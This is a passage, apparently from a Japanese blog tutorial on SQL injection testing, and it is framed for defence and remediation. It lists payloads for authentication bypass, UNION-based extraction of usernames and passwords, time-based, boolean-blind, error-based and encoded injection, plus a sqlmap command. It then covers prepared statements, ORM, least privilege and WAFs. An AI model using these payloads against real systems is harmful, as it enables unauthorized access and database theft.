class=\"wp-block-list\">\n<li><strong>\u57fa\u672c\u7684\u306a\u691c\u51fa\u7528\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1a\u300c&#8217;\u300d\uff08\u5358\u4e00\u306e\u30af\u30a9\u30fc\u30c8\u3067SQL\u6587\u6cd5\u30a8\u30e9\u30fc\u3092\u8a98\u767a\uff09\u3001\u300c&#8221;\u300d\uff08\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u306e\u78ba\u8a8d\uff09\u3001\u300c&#8221;\u300d\uff08\u30c0\u30d6\u30eb\u30af\u30a9\u30fc\u30c8\u3092\u4f7f\u7528\u3059\u308b\u74b0\u5883\u5411\u3051\uff09\u3001\u300c;\u300d\uff08\u8907\u6587\u306e\u5b9f\u884c\u53ef\u80fd\u6027\u78ba\u8a8d\uff09\u3001\u300c\\\u300d\uff08\u30d0\u30c3\u30af\u30b9\u30e9\u30c3\u30b7\u30e5\u30a8\u30b9\u30b1\u30fc\u30d7\u306e\u691c\u8a3c\uff09<\/li>\n\n\n\n<li><strong>\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u7528\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1a\u300c&#8217; OR &#8216;1&#8217;=&#8217;1\u300d\uff08\u5e38\u306b\u771f\u3068\u306a\u308b\u6761\u4ef6\uff09\u3001\u300c&#8217; OR &#8216;1&#8217;=&#8217;1&#8242;&#8211;\u300d\uff08\u30b3\u30e1\u30f3\u30c8\u3067\u5f8c\u7d9a\u3092\u7121\u52b9\u5316\uff09\u3001\u300cadmin&#8217;&#8211;\u300d\uff08\u30e6\u30fc\u30b6\u30fc\u540d\u306e\u307f\u3067\u8a8d\u8a3c\u8a66\u884c\uff09\u3001\u300c&#8217; OR 1=1#\u300d\uff08MySQL\u5411\u3051\u30b3\u30e1\u30f3\u30c8\uff09\u3001\u300c&#8217;) OR (&#8216;1&#8217;=&#8217;1\u300d\uff08\u62ec\u5f27\u3092\u542b\u3080\u30af\u30a8\u30ea\u3078\u306e\u5bfe\u5fdc\uff09<\/li>\n\n\n\n<li><strong>Union\u653b\u6483\u7528\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1a\u300c&#8217; UNION SELECT NULL&#8211;\u300d\uff08\u30ab\u30e9\u30e0\u6570\u306e\u7279\u5b9a\u958b\u59cb\uff09\u3001\u300c&#8217; UNION SELECT NULL, NULL, NULL&#8211;\u300d\uff08\u30ab\u30e9\u30e0\u6570\u3092\u5897\u3084\u3057\u3066\u8a66\u884c\uff09\u3001\u300c&#8217; UNION SELECT username, password FROM users&#8211;\u300d\uff08\u5b9f\u969b\u306e\u30c7\u30fc\u30bf\u53d6\u5f97\uff09\u3001\u300c&#8217; UNION SELECT table_name, NULL FROM information_schema.tables&#8211;\u300d\uff08\u30c6\u30fc\u30d6\u30eb\u4e00\u89a7\u306e\u53d6\u5f97\uff09<\/li>\n\n\n\n<li><strong>\u6642\u9593\u9045\u5ef6\u7528\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1aMySQL\u300c&#8217;; SELECT SLEEP(5)&#8211;\u300d\u3001PostgreSQL\u300c&#8217;; SELECT pg_sleep(5)&#8211;\u300d\u3001SQL Server\u300c&#8217;; WAITFOR DELAY &#8217;00:00:05&#8242;&#8211;\u300d\u3001Oracle\u300c&#8217; AND DBMS_LOCK.SLEEP(5)=0&#8211;\u300d<\/li>\n\n\n\n<li><strong>Boolean Based Blind\u653b\u6483\u7528\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1a\u300c&#8217; AND 1=1&#8211;\u300d\uff08\u771f\u6761\u4ef6\u3067\u901a\u5e38\u306e\u7d50\u679c\u3092\u78ba\u8a8d\uff09\u3001\u300c&#8217; AND 1=2&#8211;\u300d\uff08\u507d\u6761\u4ef6\u3067\u7d50\u679c\u306e\u5909\u5316\u3092\u78ba\u8a8d\uff09\u3001\u300c&#8217; AND SUBSTRING(password,1,1)=&#8217;a&#8217;&#8211;\u300d\uff08\u30c7\u30fc\u30bf\u306e\u63a8\u6e2c\uff09\u3001\u300c&#8217; AND ASCII(SUBSTRING(password,1,1))>100&#8211;\u300d\uff08\u30d0\u30a4\u30ca\u30ea\u30b5\u30fc\u30c1\u3067\u306e\u7279\u5b9a\uff09<\/li>\n\n\n\n<li><strong>\u30a8\u30e9\u30fc\u30d9\u30fc\u30b9\u653b\u6483\u7528\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1a\u300c&#8217; AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))&#8211;\u300d\uff08\u578b\u5909\u63db\u30a8\u30e9\u30fc\u3067\u306e\u60c5\u5831\u6f0f\u6d29\uff09\u3001\u300c&#8217; AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT version())))&#8211;\u300d\uff08MySQL\u5411\u3051\u30a8\u30e9\u30fc\u51fa\u529b\uff09<\/li>\n\n\n\n<li><strong>\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9<\/strong>\uff1a\u300c%27%20OR%20%271%27%3D%271\u300d\uff08URL\u30a8\u30f3\u30b3\u30fc\u30c9\uff09\u3001\u300c%2527%2520OR%2520%25271%2527%253D%25271\u300d\uff08\u4e8c\u91cdURL\u30a8\u30f3\u30b3\u30fc\u30c9\uff09\u3001\u300c\\u0027\\u0020OR\\u0020\\u00271\\u0027=\\u00271\u300d\uff08Unicode\u30a8\u30f3\u30b3\u30fc\u30c9\uff09<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u81ea\u52d5\u5316\u30c4\u30fc\u30eb\u306e\u6d3b\u7528<\/h2>\n\n\n\n<p><strong>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8<\/strong>\u306e\u52b9\u7387\u5316\u306b\u306f\u3001\u5c02\u9580\u7684\u306a\u81ea\u52d5\u5316\u30c4\u30fc\u30eb\u304c\u6709\u52b9\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u30c4\u30fc\u30eb\u306f\u5927\u91cf\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u81ea\u52d5\u5b9f\u884c\u3057\u3001\u8106\u5f31\u6027\u3092\u691c\u51fa\u3067\u304d\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u30c4\u30fc\u30eb\u306e\u7d50\u679c\u306f\u5fc5\u305a\u624b\u52d5\u3067\u691c\u8a3c\u3057\u3001\u507d\u967d\u6027\u3092\u6392\u9664\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>SQLMap\u306e\u6d3b\u7528<\/strong>\u306f\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u81ea\u52d5\u5316\u306b\u304a\u3044\u3066\u6700\u3082\u5f37\u529b\u306a\u9078\u629e\u80a2\u3067\u3059\u3002\u3053\u306e\u30c4\u30fc\u30eb\u306f\u3001\u30bf\u30fc\u30b2\u30c3\u30c8URL\u3001Cookie\u3001POST\u30c7\u30fc\u30bf\u306a\u3069\u3092\u6307\u5b9a\u3059\u308b\u3060\u3051\u3067\u3001\u81ea\u52d5\u7684\u306b\u8106\u5f31\u6027\u3092\u691c\u51fa\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u5185\u5bb9\u3092\u62bd\u51fa\u3067\u304d\u307e\u3059\u3002\u57fa\u672c\u7684\u306a\u4f7f\u7528\u65b9\u6cd5\u306f\u3001\u300csqlmap -u &#8220;http:\/\/target.com\/page?id=1&#8221; &#8211;batch\u300d\u306e\u3088\u3046\u306b\u30b7\u30f3\u30d7\u30eb\u3067\u3059\u304c\u3001\u9ad8\u5ea6\u306a\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001WAF\u30d0\u30a4\u30d1\u30b9\u3084\u7279\u5b9a\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u6a5f\u80fd\u306e\u60aa\u7528\u3082\u53ef\u80fd\u3067\u3059\u3002\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c6\u30a3\u30f3\u30b0\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30e6\u30fc\u30b6\u30fc\u306e\u5217\u6319\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u30cf\u30c3\u30b7\u30e5\u306e\u30c0\u30f3\u30d7\u3001\u30c6\u30fc\u30d6\u30eb\u3068\u30ab\u30e9\u30e0\u306e\u5217\u6319\u306a\u3069\u306e\u6a5f\u80fd\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>Burp Suite\u306e\u6d3b\u7528<\/strong>\u3067\u306f\u3001\u624b\u52d5\u30c6\u30b9\u30c8\u3068\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3\u3092\u52b9\u679c\u7684\u306b\u7d44\u307f\u5408\u308f\u305b\u3089\u308c\u307e\u3059\u3002Proxy\u30e2\u30b8\u30e5\u30fc\u30eb\u3067\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u30a4\u30f3\u30bf\u30fc\u30bb\u30d7\u30c8\u3057\u3001Repeater\u3067\u624b\u52d5\u3067\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u8a66\u884c\u3057\u3001Intruder\u3067\u4f53\u7cfb\u7684\u306b\u30d5\u30a1\u30b8\u30f3\u30b0\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002Scanner\u6a5f\u80fd\uff08Professional\u7248\uff09\u306f\u3001\u691c\u51fa\u3057\u305f\u8106\u5f31\u6027\u3092\u81ea\u52d5\u7684\u306b\u691c\u8a3c\u3057\u3001\u8a73\u7d30\u306a\u30ec\u30dd\u30fc\u30c8\u3092\u751f\u6210\u3057\u307e\u3059\u3002\u7279\u306b\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u304c\u8907\u96d1\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3084\u3001\u591a\u6bb5\u968e\u306e\u5165\u529b\u304c\u5fc5\u8981\u306a\u5834\u9762\u3067\u5a01\u529b\u3092\u767a\u63ee\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>OWASP ZAP\u306e\u6d3b\u7528<\/strong>\u306f\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u3067\u3042\u308a\u306a\u304c\u3089\u5f37\u529b\u306a\u30b9\u30ad\u30e3\u30f3\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002Active Scan\u30e2\u30fc\u30c9\u3067SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3092\u542b\u3080\u8907\u6570\u306e\u8106\u5f31\u6027\u3092\u81ea\u52d5\u691c\u51fa\u3067\u304d\u3001Fuzzer\u3092\u4f7f\u7528\u3057\u3066\u30ab\u30b9\u30bf\u30e0\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u306e\u30c6\u30b9\u30c8\u3082\u53ef\u80fd\u3067\u3059\u3002CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u3078\u306e\u7d71\u5408\u304c\u5bb9\u6613\u3067\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3084API\u3092\u901a\u3058\u3066\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u304b\u3089\u306e\u5236\u5fa1\u3082\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u81ea\u52d5\u5316\u30c4\u30fc\u30eb\u4f7f\u7528\u6642\u306e\u6ce8\u610f\u70b9<\/strong>\u3068\u3057\u3066\u3001\u30c4\u30fc\u30eb\u306f\u8aa4\u691c\u77e5\uff08\u507d\u967d\u6027\uff09\u3092\u751f\u6210\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u3059\u3079\u3066\u306e\u691c\u51fa\u7d50\u679c\u3092\u624b\u52d5\u3067\u691c\u8a3c\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u307e\u305f\u3001aggressive \u30e2\u30fc\u30c9\u3067\u306e\u30b9\u30ad\u30e3\u30f3\u306f\u5bfe\u8c61\u30b7\u30b9\u30c6\u30e0\u306b\u8ca0\u8377\u3092\u304b\u3051\u3001\u30b5\u30fc\u30d3\u30b9\u505c\u6b62\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u30b9\u30ad\u30e3\u30f3\u5f37\u5ea6\u306e\u8abf\u6574\u304c\u91cd\u8981\u3067\u3059\u3002\u81ea\u52d5\u5316\u3068\u624b\u52d5\u30c6\u30b9\u30c8\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u3001\u52b9\u7387\u3068\u7cbe\u5ea6\u306e\u30d0\u30e9\u30f3\u30b9\u3092\u53d6\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30c6\u30b9\u30c8\u7d50\u679c\u306e\u8a55\u4fa1\u3068\u5bfe\u7b56<\/h2>\n\n\n\n<p>\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u305f\u5834\u5408\u306f\u3001\u91cd\u8981\u5ea6\u306b\u5fdc\u3058\u3066\u512a\u5148\u9806\u4f4d\u3092\u8a2d\u5b9a\u3057\u3001\u5bfe\u7b56\u3092\u5b9f\u65bd\u3057\u307e\u3059\u3002\u4e3b\u306a\u5bfe\u7b56\u306b\u306f\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u30af\u30a8\u30ea\u306e\u4f7f\u7528\u3001\u5165\u529b\u5024\u306e\u30b5\u30cb\u30bf\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u3001WAF\u306e\u5c0e\u5165\u306a\u3069\u304c\u3042\u308a\u307e\u3059\u3002\u5bfe\u7b56\u5f8c\u306f\u518d\u30c6\u30b9\u30c8\u3092\u5b9f\u65bd\u3057\u3001\u4fee\u6b63\u306e\u6709\u52b9\u6027\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u8106\u5f31\u6027\u306e\u91cd\u8981\u5ea6\u8a55\u4fa1<\/strong>\u3067\u306f\u3001CVSS\uff08Common Vulnerability Scoring System\uff09\u30b9\u30b3\u30a2\u3092\u53c2\u8003\u306b\u3057\u3064\u3064\u3001\u5b9f\u969b\u306e\u30d3\u30b8\u30cd\u30b9\u5f71\u97ff\u3092\u8003\u616e\u3057\u307e\u3059\u3002\u8a55\u4fa1\u57fa\u6e96\u306b\u306f\u3001\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u30c7\u30fc\u30bf\u306e\u6a5f\u5bc6\u6027\u3001\u653b\u6483\u306e\u5bb9\u6613\u3055\u3001\u5f71\u97ff\u7bc4\u56f2\u3001\u60aa\u7528\u3055\u308c\u305f\u5834\u5408\u306e\u88ab\u5bb3\u898f\u6a21\u306a\u3069\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u7ba1\u7406\u8005\u30a2\u30ab\u30a6\u30f3\u30c8\u3078\u306e\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u304c\u53ef\u80fd\u306a\u8106\u5f31\u6027\u306f\u6700\u9ad8\u30ec\u30d9\u30eb\u306e\u512a\u5148\u5ea6\u3068\u306a\u308a\u3001\u5373\u5ea7\u306e\u5bfe\u5fdc\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u6839\u672c\u7684\u306a\u5bfe\u7b56\u306e\u5b9f\u88c5<\/strong>\u3068\u3057\u3066\u3001\u7b2c\u4e00\u306b<strong>\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u30af\u30a8\u30ea\uff08\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\uff09\u306e\u4f7f\u7528<\/strong>\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u3001SQL\u30b3\u30fc\u30c9\u3068\u30c7\u30fc\u30bf\u3092\u660e\u78ba\u306b\u5206\u96e2\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u304cSQL\u6587\u3068\u3057\u3066\u89e3\u91c8\u3055\u308c\u308b\u3053\u3068\u3092\u9632\u304e\u307e\u3059\u3002Java\u306e\u5834\u5408\u306fPreparedStatement\u3001PHP\u306e\u5834\u5408\u306fPDO\u306e\u30d7\u30ec\u30fc\u30b9\u30db\u30eb\u30c0\u30fc\u3001Python\u306e\u5834\u5408\u306fDB-API\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u30d0\u30a4\u30f3\u30c7\u30a3\u30f3\u30b0\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u4f8b\uff1a<code>PreparedStatement stmt = conn.prepareStatement(\"SELECT * FROM users WHERE username = ? AND password = ?\"); stmt.setString(1, username); stmt.setString(2, password);<\/code><\/p>\n\n\n\n<p><strong>ORM\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u6d3b\u7528<\/strong>\u3082\u52b9\u679c\u7684\u306a\u5bfe\u7b56\u3067\u3059\u3002Hibernate\u3001Django ORM\u3001SQLAlchemy \u306a\u3069\u306eORM\u306f\u3001\u5185\u90e8\u7684\u306b\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u30ea\u30b9\u30af\u3092\u5927\u5e45\u306b\u8efd\u6e1b\u3057\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u751fSQL\u3092\u5b9f\u884c\u3059\u308b\u6a5f\u80fd\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306f\u3001\u4f9d\u7136\u3068\u3057\u3066\u8106\u5f31\u6027\u306e\u30ea\u30b9\u30af\u304c\u3042\u308b\u305f\u3081\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u5165\u529b\u5024\u691c\u8a3c\u3068\u30b5\u30cb\u30bf\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3<\/strong>\u306f\u3001\u9632\u5fa1\u306e\u7b2c\u4e8c\u5c64\u3068\u3057\u3066\u5b9f\u88c5\u3057\u307e\u3059\u3002\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u65b9\u5f0f\u3067\u8a31\u53ef\u3059\u308b\u6587\u5b57\u7a2e\u3092\u5b9a\u7fa9\u3057\u3001\u305d\u308c\u4ee5\u5916\u3092\u62d2\u5426\u3057\u307e\u3059\u3002\u6570\u5024\u5165\u529b\u304c\u671f\u5f85\u3055\u308c\u308b\u5834\u5408\u306f\u578b\u30c1\u30a7\u30c3\u30af\u3092\u884c\u3044\u3001\u6587\u5b57\u5217\u306e\u5834\u5408\u306f\u9577\u3055\u5236\u9650\u3068\u6587\u5b57\u7a2e\u5236\u9650\u3092\u9069\u7528\u3057\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u30b5\u30cb\u30bf\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u3060\u3051\u306b\u4f9d\u5b58\u3059\u308b\u3053\u3068\u306f\u5371\u967a\u3067\u3001\u5fc5\u305a\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u30af\u30a8\u30ea\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247\u306e\u9069\u7528<\/strong>\u306b\u3088\u308a\u3001\u4e07\u304c\u4e00SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u304c\u6210\u529f\u3057\u305f\u5834\u5408\u3067\u3082\u3001\u88ab\u5bb3\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u307e\u3059\u3002\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u7528\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u306f\u3001\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u6a29\u9650\u306e\u307f\u3092\u4ed8\u4e0e\u3057\u307e\u3059\u3002\u8aad\u307f\u53d6\u308a\u5c02\u7528\u306e\u6a5f\u80fd\u306b\u306f SELECT \u6a29\u9650\u306e\u307f\u3001\u30c7\u30fc\u30bf\u66f4\u65b0\u304c\u5fc5\u8981\u306a\u6a5f\u80fd\u3067\u3082DROP\u3001ALTER \u306a\u3069\u306e\u5371\u967a\u306a\u6a29\u9650\u306f\u4ed8\u4e0e\u3057\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<p><strong>\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u9069\u5207\u306a\u51e6\u7406<\/strong>\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u3078\u306e\u60c5\u5831\u6f0f\u6d29\u3092\u9632\u304e\u307e\u3059\u3002\u672c\u756a\u74b0\u5883\u3067\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc\u306e\u8a73\u7d30\u3092\u5916\u90e8\u306b\u8868\u793a\u305b\u305a\u3001\u6c4e\u7528\u7684\u306a\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8fd4\u3057\u307e\u3059\u3002\u8a73\u7d30\u306a\u30a8\u30e9\u30fc\u60c5\u5831\u306f\u30ed\u30b0\u30d5\u30a1\u30a4\u30eb\u306b\u8a18\u9332\u3057\u3001\u958b\u767a\u8005\u304c\u30c7\u30d0\u30c3\u30b0\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>WAF\uff08Web Application Firewall\uff09\u306e\u5c0e\u5165<\/strong>\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5c64\u3067\u306e\u8ffd\u52a0\u9632\u5fa1\u3068\u3057\u3066\u6709\u52b9\u3067\u3059\u3002WAF\u306f\u3001\u65e2\u77e5\u306eSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30d1\u30bf\u30fc\u30f3\u3092\u691c\u51fa\u3057\u3066\u30d6\u30ed\u30c3\u30af\u3057\u307e\u3059\u3002\u305f\u3060\u3057\u3001WAF\u3060\u3051\u3067\u306f\u5b8c\u5168\u306a\u9632\u5fa1\u306f\u4e0d\u53ef\u80fd\u3067\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30ec\u30d9\u30eb\u3067\u306e\u6839\u672c\u7684\u306a\u5bfe\u7b56\u304c\u4f9d\u7136\u3068\u3057\u3066\u5fc5\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u5bfe\u7b56\u5f8c\u306e\u518d\u30c6\u30b9\u30c8<\/strong>\u306f\u5fc5\u9808\u306e\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002\u4fee\u6b63\u304c\u672c\u5f53\u306b\u8106\u5f31\u6027\u3092\u89e3\u6d88\u3057\u305f\u304b\u3092\u78ba\u8a8d\u3059\u308b\u305f\u3081\u3001\u5f53\u521d\u691c\u51fa\u3055\u308c\u305f\u3059\u3079\u3066\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3067\u518d\u5ea6\u30c6\u30b9\u30c8\u3057\u307e\u3059\u3002\u307e\u305f\u3001\u4fee\u6b63\u306b\u3088\u3063\u3066\u65b0\u305f\u306a\u554f\u984c\u304c\u767a\u751f\u3057\u3066\u3044\u306a\u3044\u304b\u3082\u78ba\u8a8d\u3057\u307e\u3059\u3002\u30ea\u30b0\u30ec\u30c3\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u4e00\u90e8\u3068\u3057\u3066\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u3092\u81ea\u52d5\u5316\u3057\u3001\u7d99\u7d9a\u7684\u306b\u5b9f\u65bd\u3059\u308b\u4f53\u5236\u3092\u69cb\u7bc9\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30b7\u30b9\u30c6\u30e0\u958b\u767a\u306b\u304a\u3051\u308b\u5b9f\u88c5\u306e\u30dd\u30a4\u30f3\u30c8<\/h2>\n\n\n\n<p>\u958b\u767a\u6bb5\u968e\u3067\u306f\u3001ORM\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u6d3b\u7528\u3084\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u306e\u4f7f\u7528\u3092\u5fb9\u5e95\u3057\u307e\u3059\u3002\u307e\u305f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u6642\u306b\u306f\u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247\u306b\u57fa\u3065\u3044\u3066\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u8a2d\u5b9a\u3057\u3001\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306b\u306f\u30b7\u30b9\u30c6\u30e0\u5185\u90e8\u60c5\u5831\u3092\u542b\u3081\u306a\u3044\u3088\u3046\u6ce8\u610f\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u6a19\u6e96\u306e\u78ba\u7acb<\/strong>\u304c\u57fa\u76e4\u3068\u306a\u308a\u307e\u3059\u3002\u958b\u767a\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u5171\u6709\u3059\u308b\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306b\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56\u3092\u660e\u8a18\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u52d5\u7684SQL\u306e\u7981\u6b62\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u30af\u30a8\u30ea\u306e\u5fc5\u9808\u4f7f\u7528\u3001\u5165\u529b\u5024\u691c\u8a3c\u306e\u5b9f\u88c5\u65b9\u6cd5\u3001\u5b89\u5168\u306a\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u306a\u3069\u3092\u898f\u5b9a\u3057\u307e\u3059\u3002\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u306e\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u306b\u3082\u3053\u308c\u3089\u306e\u9805\u76ee\u3092\u542b\u3081\u3001\u5b9f\u88c5\u6bb5\u968e\u3067\u306e\u554f\u984c\u691c\u51fa\u3092\u5fb9\u5e95\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u958b\u767a\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u9069\u5207\u306a\u9078\u629e\u3068\u8a2d\u5b9a<\/strong>\u306b\u3088\u308a\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u5b89\u5168\u306a\u5b9f\u88c5\u3092\u4fc3\u9032\u3057\u307e\u3059\u3002\u73fe\u4ee3\u7684\u306aWeb\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\uff08Django\u3001Ruby on Rails\u3001ASP.NET Core\u3001Spring Boot \u306a\u3069\uff09\u306e\u591a\u304f\u306f\u3001\u6a19\u6e96\u3067SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56\u304c\u7d44\u307f\u8fbc\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u304c\u63d0\u4f9b\u3059\u308b\u30af\u30a8\u30ea\u30d3\u30eb\u30c0\u30fc\u3084ORM\u3092\u4f7f\u7528\u3057\u3001\u751fSQL\u306e\u5b9f\u884c\u3092\u907f\u3051\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u9759\u7684\u30b3\u30fc\u30c9\u89e3\u6790\u30c4\u30fc\u30eb\u306e\u5c0e\u5165<\/strong>\u306b\u3088\u308a\u3001\u958b\u767a\u6bb5\u968e\u3067\u306e\u8106\u5f31\u6027\u3092\u65e9\u671f\u767a\u898b\u3057\u307e\u3059\u3002SonarQube\u3001Checkmarx 